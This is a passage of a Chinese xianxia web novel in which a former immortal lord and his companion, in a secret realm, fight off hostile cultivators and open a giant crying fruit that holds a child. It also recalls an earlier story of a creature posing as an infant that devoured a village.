雪松对他们招了招手,他们还以为雪松要给东西,面色一喜,立刻靠近,嘴上嘟囔道:“真是窝囊废!说一句就给东西!完全傻子一样!果然不配拿好的!”
雪松在他们靠近之后,向他们丢了一个瞬发跌倒术。
第89章
那三个疑似三花会元老孩子的人中了雪松的法术, 一下子就跌倒在地上,都没料到会发生这种事,因此愣了一下。
雪松这下是完全看得出来他们非常嚣张了, 因为嚣张到觉得别人一定要服从自己而且不加任何防备的人还是很少见的。
趁此机会, 雪松立刻对他们使用了一个群体眩晕术,一个巨大的白色光球出现在他们的眼前旋转了一圈。
他们就像是被沉重的铅球打到了头一样, 啊的叫了一声, 捂着眼睛在地上翻滚了两下,就失去了力气, 两手松开,一动不动躺在地上。
雪松检查了一下, 他们确实都已经晕了, 雪松开始收拾之前使用的犀牛角, 随便清洗了一下, 放回原处。
“反正他们都已经晕过去了,而且见过我们的脸, 如果你不打算杀他们, ”犀牛试着提议,“要不要把他们东西都带走?这样他们追过来找我们的时候,没有什么趁手的兵器,我们也好跑路啊!”
雪松想了想:“你不是说他们可能是三花会的人吗?追上来挺麻烦的!拿他们的东西更麻烦!还不如就把他们捆在这里,附近不是有蛇吗?想来他们一时半会儿是走不了的!等他们能走了,我们大概也可以出去了, 那就没什么可担心的了!”
犀牛想了想,觉得也行,点了点头:“那拿什么捆呢?”又是仙尊曾经送出的东西吗?一定很有用吧?居然给了那么多?好了不起!
他眼巴巴望着雪松,希望雪松真能拿出什么好东西来, 把底下的人捆住,雪松翻了翻系统空间,找出一条金灿灿的,看起来可以用的绳子递给他:“你用这个试试吧。”
犀牛接过那条绳子,仔细看了看,发现这条绳子,是他曾经到过的一个永结同心小镇的特产。
之所以是特产,是因为那个小镇会专门在制作出来的物品上,加入永结同心印记,用来祈祷和祝福在一起的两个或者更多的人,能够永结同心。
既呼应了他们小镇的名字,又可以证明确实是他们那里的特产,还非常有特点,让人过目难忘,用起来也会不由自主想到他们,这对他们是好事。
因此有很多人听说了,也会慕名去专门买纪念品,还会特意说,请务必给我的东西上加入永结同心印记,我想要那个。
犀牛为什么知道呢?他从前到那个小镇,那个镇子里正在举办活动,免费发放纪念品不说,还有一场流水席,欢迎任何人去吃,只是不允许打包,也不允许浪费,有人会监督,通常是本地人,也有本地人的外地伴侣。
他冲着那个镇子免费发放纪念品和流水席去的,拿到了纪念品,也真的吃到了饭,一分多余的钱都没有付。
除非是指路费和住宿费,但那个小镇本来也没说要包这两个,最多因为正在举办活动,所以住宿打折,还是打五折。
已经算非常便宜的了,不能再要求什么,否则很担心他们会亏本,以至于倒闭,要是那个镇子都因为太穷而搬迁,那些有趣的活动,免费的纪念品,还有大餐,大概都不会再有了。
所以不管是从钱的角度还是自己的角度,犀牛都希望那个镇子长长久久,安安全全,因此还算印象深刻,现在也想得起来当初发生了什么,尤其想得起来,纪念品放在哪儿。
别说,他还真带了!他把手伸进自己的储物戒指里翻找一通,找到了那个纪念品,放在雪松递给他的绳子旁边一比,瞪大了眼睛——
这两样东西上面果然都有永结同心印记!这是那个小镇为了区别其他小镇而专门做的!甚至有防伪!绝对不可能轻易认错的!
犀牛用十分复杂的目光看了雪松一眼,默默把自己的纪念品放回储物戒指里,开始低头捆绑地上昏迷的三个人,若无其事问:“这也是别人送你的吗?”这也是仙尊送给你的?
“是啊,”雪松眯了眯眼睛,感到有些困倦,毕竟又是被挑衅,又是使用法术,他感觉自己休息的时间已经在很久以前了,站在旁边,转了个方向,往周围警惕说,“怎么了?”
“没什么,”犀牛想了想,没有直说,而是笑道,“那个给你送东西的人,和你感情很好?”仙尊和你感情一定很好吧?否则,为什么送这么多的东西给你呢?
雪松没听出来他在说什么,只是纠正说:“不是人送的。”但是没有否认感情很好的事。实际上,那是系统送的。雪松的大多数东西,都是系统给的,剩下的,是自己找的。
所以雪松不希望系统被认成是别人,他也不想和其他人沾上关系,那对他来说,实在不算好事,就像是肠子上长了个瘤子,要不是不好操刀,他恨不得自己划开肚皮,把那个瘤子割下来,捅进去弄成浆糊。
犀牛倒没听出那么多,但听见雪松的话,还以为雪松强调的是,仙尊已经死了,要么当鬼,要么当魂,横竖是不可能再像从前那个样子,继续当一个人的。
所以用人来称呼是不合适的,因为不够准确,就算是仙尊还站在这儿,大约也不会想要听见别人这样称呼。
毕竟,一个曾经那么威风凛凛的存在,现在沦落到连人也不算,无论如何,也会触景伤情吧?能少听一个字,还是少听的好。
犀牛感到有一点懊恼,觉得自己说错了话,因此不再开口,只是手下更加用力,把三个人捆到了一起,开始打结。
雪松往旁边指了指:“把他们捆到树上吧,这样不方便行动,能够再拖延一段时间,我们可以在路上缓一缓。”
犀牛点了点头,按照雪松说的做,把那三个人套在了树干上,又确认了一下绳结,没有松动,没有断裂,没有问题。
“你看呢?”犀牛转头,向雪松问。
雪松点了点头:“可以走了,继续待在这儿,他们很快就要醒了,没有必要吵架,那实在是浪费时间。”
犀牛再次点了点头,跟着雪松离开了这里,走了好长一段路,开始休息,过了一个晚上,他们又开始赶路。
雪松选了一个方向走了过去,并掏出龙骨指针,还没等指针给出一个方向,忽然听见不远处,传来了一个小女孩似的哭声。
他愣了一下,把龙骨指针收了起来,转头看向犀牛,犀牛显然也听见了那声音,眨了眨眼睛,表情有些呆,露出疑惑的神色,望着他皱了皱眉,像是想提醒他警惕。
大约是不明白荒郊野地的,怎么会突然冒出一个能这么大声哭泣的小女孩,而且还活着吧?这确实蛮奇怪的!
两个人对视了一眼,都屏住呼吸,小心翼翼靠近了过去,想看看究竟是什么东西,装成小女孩的声音来做诱饵。
没走一段路,他们就立刻发现了,原来是不远处的树上,吊着一个一个的巨大的果实,那些果实,枝叶纤细,看起来像是正在往下垂落,底端微微发圆,十分沉重。
有一个人那么高,两个人或者三个人那么宽,上小下大,最外层是一种白色的蜘蛛网,中间是黄褐色的巨大的树叶的隔离层的感觉,小孩的哭声从里面传来。
雪松对身边的犀牛比了一个安静的手势,犀牛点了点头,停住了脚步,雪松靠近了那些树木,树木没有反应,他伸出手去,靠近了树木下的果实。
那果实起先没有动静,之后似乎是发现了他,一下子尖叫起来,声音非常锐利,仍然是,小女孩的嗓音,听起来格外古怪诡异,而且刺耳。
雪松皱着眉头掏出剑来,一剑刺了进去,声音中断了,变成断断续续的哭声,被剑刺破的果实的位置,开了一个洞,往外流血,一股一股的血流出来,简直像是里面有人在用桶往外泼一样,可怕极了,重量极多,粘稠浓郁,满是血腥味,闻之令人作呕。
雪松闻到这气味,下意识用一只手捂住了鼻子,他的鼻子并没什么问题,更何况这么近的距离,这么多的分量,就算有问题,他也感觉得到。
他皱着眉头把这个果实从树上取了下来,咔嚓一声响,果实从树枝上掉落,周围的树木都摇晃起来,果实也跟着摇晃,就像是有一阵大风吹来,可实际上那时候并没有风。
那么究竟是什么原因,让那些树和果实都跟着摇晃呢?雪松低头看了看自己手里刚摘下的那个果实。
他手里的果实颤抖着,好像非常恐惧,但没能从他手里脱离,或许这些东西本来应该在树枝上再待一段时间,但是被他提前取下来了。
树枝断口处流出的粘液,散发出了一种令周围同类植物都感到惊惧的气味,于是那些植物和果实都给出了反应。
地面跟着晃动起来,简直像是地震一样,但是远处的树木都十分平静,什么事情也没有,显然如果是地震,那些树木不可能这样平静,那么这不是。
雪松立刻把手里的果实塞进了系统空间里,这东西只在那里面占了一个格子,浑身上下立刻轻松了许多,毕竟那东西体积一点也不小,真要是带着跑路,那可是很不方便的。
“走!”雪松一边跑路,一边对不远处神色紧绷,瞪着眼睛的犀牛挥了挥手说。
犀牛点了点头,早就准备好了,听见他一声令下,立刻像是参加短跑的猎豹一样冲了出去,眨眼间不见了,好歹是个修士,这点速度也是有的,就算受伤,也不至于在逃跑的路上拖后腿。
这下,雪松一点也不需要担心他了,雪松向远处疾驰而去,离开了身后那片诡异的林子。
不知道那些林子是不是察觉到他离开了,摇晃逐渐停止,果实发出了尖锐的哭泣声,风一吹,那种声音越发令人毛骨悚然。
雪松在一个根本看不见那片林子的地方停了下来开始干活,他不确定这是因为过于紧张,还是灵力消耗过度,又或者——
难道是葡萄园病菌?
他记得,自己不是已经在来之前吃了药了吗?吃的是阻断传染的药?难道有什么不对?药效提前消失了,还是病菌在秘境的环境中发展变异?
不管怎么样,为了以防万一,雪松深吸了一口气,直起身来开始掏自己的药,他决定先吃一口,不然,真传染给别人就糟了!
别人不说,犀牛一直跟在他旁边,要是被他传染了,身上还有伤,恐怕活不到秘境开口,那就出不去了,要是遇到别人,那还不知要传染多少,真不吃药,药就白带了。
这么看,能用得上药,也算他没白干,他把药吞了下去,掏出一瓶水来,喝了下去,咕咕咕,咕咕咕,整瓶水都被他喝光了。
他深吸了一口气,更加直起身来,瞪大眼睛,往周围看了看,感觉自己好多了,扶了一下树干,低下头去,想要听一听,那片林子里面尖锐的哭声还有没有。
却忽然听见,不远处传来了犀牛的喊声,十分惊喜又惊讶,还带着脚步声,向他靠近,几乎是冲过来的,但半路上,又停顿了一下,有些诧异问:“你的手上是什么?”
雪松看了一眼,他现在手上唯一拿着的东西是一个塑料瓶子,这个塑料瓶子就是他之前装水用的,如果犀牛在他喝水之前来到这里,就能看见他把这东西拿出来的完整过程了。
但犀牛来的时候晚了一步,没看见,还以为这东西要么是他捡的,要么是他拿的,如果不是在秘境的地上捡的,那就只有他的储物戒指了。
毕竟,对于犀牛这样的修仙者来说,能放东西的,而且最常见最常用的,也就储物戒指。这么猜测,也不算过分。
雪松一边若无其事把瓶子放回系统空间,一边回答:“是一个装水的瓶子。”这完全就是实话。
犀牛挠了挠头,将信将疑,点了点:“哦哦,原来是个瓶子?”可是从来没有见过那样的瓶子呢。
就算有透明的瓶子,也不会是那样柔软轻便的材质,更倾向于琉璃或者炼制出来的法器,但是他刚才靠近的时候,完全没有感觉到那东西有任何灵气,那么绝对不会是灵器。
这种在别的地方根本见不到的东西,雪松随手就拿出来用了,想必是早就知道,那只是一个普普通通的瓶子,而没有任何副作用或者毒?那还能是谁送的?只有一个了!
仙尊?!
仙尊送的东西真多!每次都能看见新的!时不时就是从来没有见过的……也不知究竟从哪儿找来的!莫不是亲手做的?当爱心小礼物来算?那很有爱心了!
犀牛想到这里,忽然又想起来,雪松和仙尊多半是感情很好的小情侣,因此忍不住笑了。
小情侣互送礼物倒也正常。更何况是仙尊那样几乎富有四海的人,遇上喜欢的,就爱给人送东西,谁也指责不了什么。难道还能怪他送出去的东西太多不成?那也太好笑了!
两个人休息了一会儿,又找了一个,看起来还算安全的地方,坐了下来,雪松把之前摘下来的那个果实从戒指里拿了出来。
犀牛坐在另外一边,和他一起看着这个果实,这实在是一个很巨大的东西,因为他们两个坐着的时候,这东西放在地上,居然比他们要高,大概一个头或者更多,真令人惊讶。
之前倒不是不知道这东西有够大的,但是拿近了一看,果然还是更加震撼一些。犀牛一边感慨,一边不由自主站了起来,绕着这果实走来走去,比比划划,满足了自己的好奇心。
之后他又找了个位置坐了下来,表示自己不再打扰,只是看着,既然他不做什么了,雪松就站了起来,掏出剑,把这个果实的最上方的梗,弄了下来。
最上面的梗和普通植物的梗是一个触感,一个颜色,也差不多是一样的硬度,其余部分,也和蜘蛛丝和树叶一样的感觉,至少切开的时候非常顺利,没有受到任何阻碍,简直像是这东西本来就应该是那么容易被切开的。
雪松弄开这果实的盖子之后,往里一看,吃了一惊,犀牛站起身来好奇问:“里面有什么?”他以为会是蜂蜜或者尸体或者果实浓浆之类的东西。
但是定睛一看,他也吃了一惊,喃喃道:“一颗果实里面怎么会有一个活着的人呢?”难道他们遇到竹姑娘了?
那是一种据说生长在竹子里的人形生物,可以一辈子都在竹子里,直到死去,但如果有人把竹子劈开,就会看见他们,通常是以幼年人类女性的形象存在的,但实际上更接近妖修的用来欺骗人的柔弱无辜的拟态,目的是为了保障生存。
虽然没什么大用,也骗不了多少修士,但骗一骗没有眼力见的凡人还是可以的,尤其是求子心切的普通凡人夫妻。
通常结了婚老是生不了孩子,或者干脆就是不孕不育的普通凡人夫妻在外出,不管是打猎还是砍柴还是意外,见到了竹姑娘的话,一般是会看看周围有没有人,再把小孩抱走,别人问起来就说是,自己家的,时间久了,周围的人忘了从前的事,也就真觉得是自己家的了,不过,这毕竟不是人。
竹姑娘是不会老的,只会在一段时间之后,进化到人类的成年状态,悄悄跑走,回到自己本来的竹子里去。
“我看也未必是人,”雪松看着这东西,想起自己从前出任务的时候,也遇到了类似的情况,同样是植物,同样是植物里有人,那次可比这次气人多了,他一想到就忍不住皱眉,语气也不太好了,“让我先捅一剑试试!谁知道是什么东西装的?”
雪松说着就拿起他的剑要往里面捅,犀牛愣了一下,紧接着就看见他的剑真的捅进去了,吓了一大跳,连忙拦住他:“不管这是真的人还是假的人,看起来毕竟是个人,要是让人知道,你发现这个人的第一时间居然是攻击,别人给你泼脏水的时候,你可就不好说清楚了!要不这样,你给我点时间,让我来看看这究竟是什么?”
雪松皱着眉头,看了他一眼,不是很想细细分辨他现在究竟在想什么,只是哼了一声,把剑收起,似笑非笑说:“这里现在只有你我,真要是有人知道这里的事,只有可能是你说出去的,何况你看起来不了解我,你怎么知道我身上没有被人泼脏水,现在还洗干净了?我不在乎那些,但你想试就试吧,试完了叫我。”
雪松说完,转身向旁边走去,靠在一个比较远的树干上,盯着更远的远方,一边警惕周围,一边不自知流露出若有所思的神色。
当时的任务是到一个小村庄去,他那个时候还是仙尊,村庄里丢了一个小孩,让他帮忙找,他在山上找到了那个小孩的尸体,但是那家人哭天抢地,非说不是,还要怪他找别人的尸体来敷衍,说是他的错。
后来那家人承认了地上的尸体是他们家的小孩,又怪他不早点去,不早点找到,说如果那样,小孩就不会死了。
好笑!他们怎么不怪自己没把小孩看好,谁知道是不是因为他们对小孩做了什么,小孩才跑出去死掉的?
他们难过也就算了,胡说八道也就算了,他可以看在他们家死了一个人的份上,勉强让一让,但要是得寸进尺,他可就要走了。
反正他的事情已经做完,他们就算要找他的茬,找到宗门去,也不能算是他有错,除非全天下的人都跟他们一样疯了。
那只能算他倒霉了,不过如果是那样,他跟他们实在没有什么好说的,更应该走掉了,留在那干什么?折磨自己吗?
于是,他忍了一会儿,发现他们没有改正的意思,通知了村长一声,立刻就要走,但是村长忽然拉住他,一面神色愧疚对他道歉,一面把他拉到旁边没有人的地方,对他说,其实还有一件事。
他问究竟是什么事,村长说,他家院子后面那块空地上不知怎么的,忽然冒出一个坟包一样的土块,而且最近越来越大了,一开始只有拳头那么大,还不容易被发现,后来几乎像是有半个人蜷缩着躺在里面,一不小心就踢中,然后摔倒在地上,可怕极了,他家里人都觉得不好,但是又没人敢动手,所以拜托,雪松能够去帮帮忙。
雪松看在不用继续接触发了疯一样的那夫妻两的份上,勉强答应了,跟着村长到了他家空地上,开了那个坟包一样的土块。
那里面居然是一个哇哇大哭的小孩,浑身上下不着片缕,手和脸颊都通红,一个劲颤抖着,好像很冷的样子,皮肤雪白而且稚嫩,像刚刚剥开包装的豆腐,几乎仿佛还在流水。
雪松正想动手,看看这东西里面究竟是个什么构造,被村长拦下来了,村长一脸可惜,皱着眉头看着那小孩拦着他说:“且不要动手!”
雪松疑惑问:“你以为这是真人吗?你也不动脑子想想!什么样的婴儿可能被埋在土里,许多天之后还能活着呢?这可没有透气孔!而且这是突然冒出来的,你也说了,是眼睁睁看着这东西一点一点变大的,怎么可能是正常东西呢?留着干什么?”
村长张了张口,仿佛有些心虚,低下了头去,不与他对视,但仍然坚持不肯让开,一脸悲悯似的,很认真说:“上天有好生之德,这好歹也是个生命,看起来和普通小孩别无二致,还是先不要对他动手吧?”
雪松皱着眉头,隐约猜到他们要做什么,感到后背一阵恶寒,往后退了一步,一时没有说话,只是看着他。
他舔了舔嘴唇,有点想再补充些什么,还没有开口,旁边不知什么时候,多出来一个年轻女人,穿着已婚妇人的衣服,顶着已婚妇人的头饰,一下子冲了过来,后面还跟着一个更加年轻的小女孩。
那人一边往这里跑,一边直勾勾看着土坑里的婴儿,瞪大了眼睛,满脸惊讶喜悦,神情又有些恍惚,好像前阵子刚刚掉进水里被人捞出来一样,喊道:“我的儿!我的孩子!我的孩子!你怎么在这儿啊?你居然在这儿!我找得你好苦啊!”
小女孩跟在后面跑了过来,喊道:“夫人!不要过去!”
说话间,那女人就跑到了土坑旁边,砰的一声跪了下去,也不觉得痛似的,脸上的表情一分一毫都没有变化,微微弯腰低着头,把那孩子从土里抱了出来,一边拍那孩子身上的土,一边十分温和,以至于听起来有些诡异,低声道:“好孩子乖孩子,不痛了,不冷了,没事了,我找到你了!你不要害怕!”
第90章
小女孩跟着那年轻女人跑到了土坑旁边, 但是不敢过于靠近,听见年轻女人说些不着逻辑的东西,更加瞪大了眼睛, 目露惊恐, 狠狠打了个哆嗦,好像见了鬼一样, 又往后小心翼翼退了两步, 还一边退一边往旁边看了看,观察雪松和村长的神色, 不知他们生气了没有。
小女孩缩了缩脖子,耸了耸肩, 想到他们如果生气了, 夫人那个神志不清的样子, 肯定也明白不了什么, 最后也只有罚她。
她顿时觉得自己倒霉透了,应该早点把夫人看好的, 最好死死拉住, 一点让人溜走的机会也不要有。
那样才比较安全,可惜现在后悔有点晚了,毕竟情况已经变成这样,肯定搅了局,不知道会有什么惩罚。
小女孩在心中唏嘘,越想越害怕, 双腿一软就跪了下去,低着头,一时不知说什么才好,神色越发为难, 更加不敢开口。
现场安静极了,村长愣住了,雪松皱着眉头,不知道村长家里究竟是个什么情况,看了他一眼,他打了个哆嗦,有种自己刚才突然被人拽着领子踹进冰水的错觉。
抱着婴儿的年轻女人,突然想起什么似的,把自己的外套脱了下来,抱住了那个婴儿,但是外套毕竟太薄,虽然勉强遮住了那婴儿的皮肤和身体,却还能让人看见轮廓。
年轻女人哆哆嗦嗦,对旁边的小女孩招手,疾言厉色道:“快把你的外套也脱下来给我!这孩子快冷死了!真是的,你们这些下人!一个两个的都不知道在偷什么懒!
连个孩子也照顾不好!一时半刻不看,人就不见了!真把我给气死了!幸好现在人回来了,不然你看我打不打死你!还不快脱?等什么呢?人死了,你担待得起吗?”
小女孩看了一眼村长,村长皱着眉头无话可说,摆了摆手,小女孩便迅速把外套脱了下来,爬过去,把手里的外套递给了年轻女人,低着头不敢看那个婴儿,好像害怕一不小心看见的是一只骷髅一样,抿着嘴唇,胳膊有些颤抖。
年轻女人唰的一声,把外套从小女孩的手里扯了过去,皱着眉头,一边把外套裹在小孩的身上,一边还是很不满意,念念叨叨:“让你给个外套都这样!真是磨磨蹭蹭的!又不是要你的命,真不知道你在纠结什么!
知道的是外套,不知道的还以为要让你脱光了上街去呢!你下次再这样,我非要弄死你不可!砍你的头,砍你的头!”
话音未落,年轻女人手里的小孩笑嘻嘻鼓起掌来,鹦鹉学舌似的,喊道:“砍你的头,砍你的头!”
年轻女人愣了一下,看着婴儿,突然笑了,一边用手指逗弄着婴儿,一边收紧了胳膊,把婴儿身上的两件外套裹得更紧了一些,恨不得密不透风,用一种十分柔情蜜意的语气,夸奖说:“好孩子,年纪轻轻就会说话了,以后前途一定不可限量!真棒!我就知道!我家孩子一定是最聪明的!是不是?是不是?”
那婴儿愣了一下,似乎正在反应,随后拍着手学舌道:“是不是?是不是!”婴儿似乎完全不能理解这些话究竟是什么意思,只是会学,就像一个陆地上的人意外流落到了亚特兰蒂斯。
年轻女人继续笑着,把婴儿抱在怀里,用脸贴了一下,好像那真是自己的孩子一样,踉踉跄跄站起身来,就要向室内走去,嘴里还念叨着:“外面风大,可不能着了凉了,小孩子着凉最不好了,容易死!
外面那些大夫都是骗钱的!我不信他们的话!上次就是听了他们的话!我的孩子才出事的!我不会再信他们了!绝对不会!我会好好保护好你!”
雪松又看了村长一眼,意思是这你真的不管是吗?你要把那个东西弄到自己家里去,当自己小孩养?你默认了?
你之前就是这么准备的?你是不是一开始就知道那里面有什么东西,所以让我来给你做苦力,你好把里面的东西名正言顺拿出来,归为己有?
村长狠狠打了一个哆嗦,连忙向年轻女人呵斥道:“站住!有没有一点规矩!你这是在干什么?脑子坏了就回房间去!别在这里发癫!你他妈的以为这是什么地方啊?把那东西放下!那不是你孩子!”
说完,村长又向着小女孩,指着那年轻女人,着急道:“你还看着干什么?去把那孩子抢下来!去叫别人!让人把夫人送回去!”
雪松忍不住有些好奇了:“这位年轻人是谁的夫人?”
村长愣了一下,露出一个有点不好意思的,无可奈何的笑,叹着气说:“是我儿子的妻子,真不好意思,今天让您看笑话了,本来平日里都是有还有人跟着的,也不知道少的那个去哪儿了,这才没拉住,不是故意的!”
雪松若有所思,往周围看了看,周围还是冷清清的:“那你儿子呢?怎么没看见人?平日里不在家还是怎的?”
“我儿子,”村长又叹了一口气,满脸家家有本难念经的样子,“我儿子出门办事去了,还没有回来……”
他顿了顿,深吸一口气,脸上闪过一丝悲伤之色,垂着眼睛,又说:“其实已经有一段时间没回来了,没有消息,跟着的人也……
都说是死了,可是活要见人,死要见尸,没有尸体,就只能算是失踪,消息传回来的时候,那孩子正好怀到七八月,情绪激动,就早产了,生下来一个死胎,早早埋了,后来发臭,流黑水,实在没有办法,只能丢进江里,也就尸骨无存了……从那之后……”
他沉默了很久才继续说:“人就疯疯癫癫的,不太好了,老说自己还有一个孩子在肚子里,过了几个月,硬说是要生了,闹得天翻地覆,只好去找大夫。
大夫说是假孕,病人精神又不正常,只有配合,假装是那么一回事,骗过去就安静了,我们就只好跟着一起装。
后来是安静了一段时间,但又抱着枕头说是孩子,一会儿脱了衣服说要喂孩子,一会儿又把枕头泡水里,说是要洗澡,闹得不可开交,还时不时往外跑,说要给孩子买点东西,只好让人看着,一时不看住就有事故,可不就是这么一回事?!”
雪松皱着眉头,不太确定他说的是真是假,但看起来像是真的,勉强让步:“那好吧,那东西你们可以留下,但我劝你们,最好不要留太久,因为那是有危险,这种突然冒出来的东西,想也不正常——”
话还没有说完,对面的眼睛里就爆发出一种极强烈的光,像是被甩到砧板上的死鱼,突然跳了一下,一下子跪下去说:“真是太好了!非常感谢你!你的大恩大德,我会记一辈子的!我们全家都会谢谢你的!”
“用不着。”雪松觉得这里不能多待,再次向他问:“没有什么事了吧?”
村长点了点头,雪松离开了,而雪松下一次听见那个村子的消息的时候,那个村子的人全都死掉了,但他们还保留着完整的身体,并且日夜在村子里游荡,就像他们还活着一样。
他们之所以被发现已经死掉了,是因为他们离开了村子,像往常一样到村子外面去交易,但是村子外面的人,闻到他们身上传出腐烂的味道,询问他们究竟是什么发出来的,他们不知道,回去洗澡换衣服,甚至洗了头。
但是都没有用,那个味道还是在,而且越洗越浓郁,直到他们终于把自己搓成一条一条的肉酱,泡在浴桶里,和头发飘在一起,还在发出声音,说不知道怎么回事,把觉得不对的人吓跑了,事情就这么传开了。
事实上,那些和他们有所接触的人,都感染了一种糟糕的毒,那种毒会保证他们立刻死掉,而在死掉之后像活着一样行动。
行动的目的是传播那种毒,让更多的人死去,并且被感染源头,也就是那个婴儿,吃掉,以此来增强自己的修为。
雪松到那个村子的时候,见到了罪魁祸首,那个婴儿已经长得十分大,看起来甚至不像个孩子,而像个年轻人,穿着很正常的衣服,在村长的院子里,种花似的扛着锄头挖土。
雪松到的时候,那个年轻人转过头来,看见他,好像什么事情都没发生过一样,对他微笑:“要喝杯茶吗?”
雪松皱着眉头问:“一切都是你干的吧?你究竟想要做什么?”
“你不是已经知道了吗?还有什么可问的?”对面笑了笑,找了个位置,把锄头放了,自己坐了下来,完全是一副主人招待客人的姿态,很理所当然说:“你的年纪是不是很小?什么都不知道吧?有时候什么路都走过了,只有走这条路,才活得下去,我也没办法。”
他说着,摊开手问:“你几岁了?”《 》
90-95
第91章
“你没事吧?”犀牛一边伸出手去, 试探着想要碰一碰那个小孩的皮肤,一边小心翼翼向植物果实里面被开出来的那个小孩子问。
小孩子直勾勾盯着他,突然哇的一声大哭, 低着头用手揉着眼睛, 眼眶通红,眼泪一串一串流了下来, 很快就打湿了手。
不远处忽然传来了一阵脚步声, 雪松看了过去,一个陌生人走了过来, 他后面还跟着两个人,不过这两个都是女人。
“我就说这里有小孩的哭声吧!”一个高一点的女人说。
“我也听见了, 偏偏他还不信, 现在好了, 走过来了, 眼见为实,他总算该信了吧?没有小孩, 怎么会有小孩的哭声?”另一个矮一点的女人点了点头。
走在最前面的那个男人往雪松身后一看, 看见了正在从植物果实里把手收回去的犀牛,立刻判断出哭声是从那里面传来的,皱着眉头,往前一步,拿着武器喊道:“你们从哪拐来的小孩?快点放开!否则我就不客气了!”
犀牛摆了摆手,正要解释, 雪松心情本来就不太好,听见对面以一种他们绝对有错的质问语气开了口,立刻冷着脸,反问道:“你说有小孩就有小孩?我还说是伪装成小孩的妖怪呢!你又没看见, 你凭什么说是小孩?
你上来就找茬,你还不客气,你还要怎么不客气?难道要说自己现在已经足够客气了吗?别开玩笑了!”
那个男的愣了一下,后面两个女的皱着眉头上来了:“谁跟你开玩笑?荒郊野岭的!还要怎么对你客气?莫不是摆出椅子来,请你喝一口茶?那才叫客气?你敢不敢喝?再说了!都有小孩的哭声,还不是小孩!我还说是你把小孩变成妖怪,想要蒙蔽视听呢!”
事已至此,空气中弥漫着火药味,双方一触即发,没有什么好说的了,雪松以一敌三,直接把他们三个都打趴下了,狠狠踹了一脚又一脚,直到他们没有再起来的意思,才站在他们身后说:“少多管闲事!别说这里没有小孩,就算真有和你们也一点关系都没有!轮不到你们来管!现在滚!否则我就把你们都杀了!”
那三个人只好爬走,满脸都是愤怒不甘,但暂时也没什么办法,毕竟打不过,这里又是秘境,他们真要是被杀了,别人也只会认为,他们是技不如人,在秘境里面遭到了危险的攻击,才会死亡的,通常不会细查。
除非真想死,否则,他们不会留下来,即使他们可以赌雪松,不一定真的杀了他们,但代价是自己的命,一般人也真赌不起。
他们只当自己倒霉,远离了雪松他们,骂骂咧咧两句,休息休息,觉得身体好多了,爬起来离得更远一些,也就算了。
毕竟秘境还没关闭,他们要在这待好几天,要是不小心让雪松再听见他们说坏话,说不定真要死,可比现在倒霉多了。
那些人离开之后,雪松转头看向犀牛:“那东西呢?”
犀牛愣了一下,一时没意识到他在说什么:“什么东西?”
“那个果实里面的东西。”雪松指了指不远处那个不知什么时候倒下去的果实,向犀牛问。
犀牛猛然一惊,转过头去看,发现那个果实里面似乎已经空了,连忙跑过去,把果实扶起来。
那个果实已经空空的了,看起来像是脱了皮的姑娘果,只剩下一层壳,稍微用点力就会变成粉末,既不坚固,也不坚韧。
犀牛往周围找了找,没有找到那个小孩,心里一时有些不是滋味,雪松站在旁边问他:“你这是什么表情?”
“失落的表情,”犀牛摸了摸自己的脸,虽然没有镜子,但他大概知道现在是什么样,垂头丧气的,低声回答,“那么小一个小孩子,要是在这里不小心走丢了,一定会很危险吧?我担心而已。”
雪松嗤笑了一声:“担心他还不如担心你自己,你忘了他是从什么地方来的?秘境里生长的植物结出来的果实,比你熟悉这里,说不定你死了,他都不会死。”
犀牛叹了一口气,感到有点头痛:“希望如此吧。”说完他又有些好奇,看向雪松问:“你怎么好像对秘境很熟悉的样子?据我所知,这是一个新开的秘境,从前应该没有人来过,除非是误入,可是你看起来不像是来过这里……”
说到这里,他突然顿了顿,感觉自己明白过来。雪松还能从哪儿熟悉秘境?肯定是仙尊那里啊!
仙尊进入过的秘境,不是一个两个,真要数起来,一时半会儿数都数不清,论进入秘境的经验,那是多的不能再多。
他们两个要是真的关系好,仙尊不管是出于同为修炼者的道义,还是照顾道侣的情意,对雪松提及秘境的事情,也是应该的。
那雪松会知道,怎么待在秘境更轻松,怎么处理秘境的危险生物,怎么辨别什么东西可以带走,什么东西有用,就很正常了。
“从前有人告诉过我。”雪松眨了眨眼睛,默默挪开目光,一脸平静回答。不错,系统曾经告诉过他,在他还没成为仙尊的时候。
至于在他成为仙尊之后,那就没什么需要谁说的了,因为他自己会知道,他进秘境的次数和时间,对于大多数修炼者而言都算是多的,长时间的经验积累下来,再怎么不会,到如今也该会一点半点了,没有什么需要请教别人的。
犀牛只是点了点头,觉得自己误触了雪松和仙尊的伤心事,轻轻悄悄扇了自己一巴掌,决定谨言慎行,之后不要乱说话了,免得又让人伤心。
现场陷入了沉默。
雪松等了一会儿,见他没什么要说的,走过去把那个果实的壳子看了看,觉得虽然没有什么大用,但万一以后可以用,现在丢了也可惜,就塞进系统空间的格子里了。
就在这个时候,雪松忽然感到周围弥漫起了雾气,往周围看了看,站在不远处的犀牛直愣愣的,看着一个方向,眼珠都不带动一下的,好像整个人已经被抽离了灵魂。
雪松走过去,试着伸手推了他一下,他仍然站在原地,一点反应都没有,好像已经死了一样。
雪松吓了一跳,连忙确认了一下他的生命体征,发现还好,松了一口气,一阵风吹过,旁边好像多了一个人,雪松转过头去看,那个人不是别人,正是之前在水下空间里出现的,那个老人。
“我还以为你最近都不会再出现了……”雪松一脸复杂,注视着他说。
“怎么会呢?我说了还要来的!”老人摆了摆手,坐在旁边问:“进展怎么样了?”
雪松感到疑惑:“什么进展?”之前有提过吗?根本没有那回事!什么杂七杂八的!
“不是你说,你之所以把那个东西,弄得细细碎碎的,好像一团新切出来的臊子,是因为——”老人把话说到一半,突然想起来面前的人是谁,于是止住了,摆了摆手,一脸你就不要追问的表情:“不好意思,我把你认成别人了。”
“你把我认成谁了?”雪松挑了挑眉,大概猜到对面把他认成了仙尊,毕竟他这张脸,和仙尊一模一样,但凡见过仙尊的人,会误认他是仙尊,也是有可能的。
更何况,他忽然想起来,他曾经确实,在当仙尊的时候,把一个什么东西切成了臊子,就是吞了一个村子的,从土里被挖出来,伪装成婴儿的那东西。
雪松顿了顿,见对面没有要说的意思,试探着问:“你把我认成仙尊了?你说的那个东西是不是,一个吞了整个村子,还试图往外吞的,表面上看起来像婴儿的东西?”
老人愣了一下,看了他一眼,神色十分复杂,叹了一口气,有点无可奈何似的,同时有一种他似乎什么都知道的错觉,也就不再瞒他,而是说:“没想到你连这个都知道,仙尊连这种事也告诉你?这倒也是,那么多年以前,他就——”
